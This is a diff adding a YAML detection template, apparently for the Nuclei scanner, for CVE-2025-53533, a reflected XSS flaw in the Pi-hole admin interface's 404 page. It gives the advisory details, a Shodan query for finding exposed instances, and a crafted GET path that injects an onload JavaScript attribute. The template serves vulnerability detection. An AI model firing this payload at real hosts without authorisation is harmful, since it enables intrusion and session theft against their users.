CVE-2025-53533 - Pi-hole Reflected XSS in 404-Error Page

http/cves/2025/CVE-2025-53533.yaml

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+id: CVE-2025-53533
+
+info:
+  name: Pi-hole Reflected XSS in 404-Error Page
+  author: DhiyaneshDk
+  severity: medium
+  description: |
+    Pi-hole Admin Interface <= 6.2.1 contains a reflected XSS vulnerability on the 404 error page. The URL path is reflected unsanitized into the `class` attribute of the `body` tag, allowing attribute injection via a crafted URL to execute arbitrary JavaScript in victim browsers.
+  impact: |
+    Attackers can execute arbitrary JavaScript in victim browsers, potentially stealing cookies or performing actions on behalf of the user.
+  remediation: Update to Pi-hole web interface version 6.3 or later.
+  reference:
+    - https://github.com/pi-hole/web/security/advisories/GHSA-w8f8-92rx-4f6w
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-53533
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2025-53533
+    cwe-id: CWE-79
+    epss-score: 0.00029
+    epss-percentile: 0.08158
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: pi-hole
+    product: web_interface
+    shodan-query: title:"Pi-hole"
+  tags: cve,cve2025,pihole,xss
+
+http:
+  - method: GET
+    path:
+      - '{{BaseURL}}/"onload=alert(document.domain);>'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"onload=alert(document.domain);>">'
+
+      - type: word
+        part: body
+        words:
+          - "pi-hole"
+
+      - type: status
+        status:
+          - 404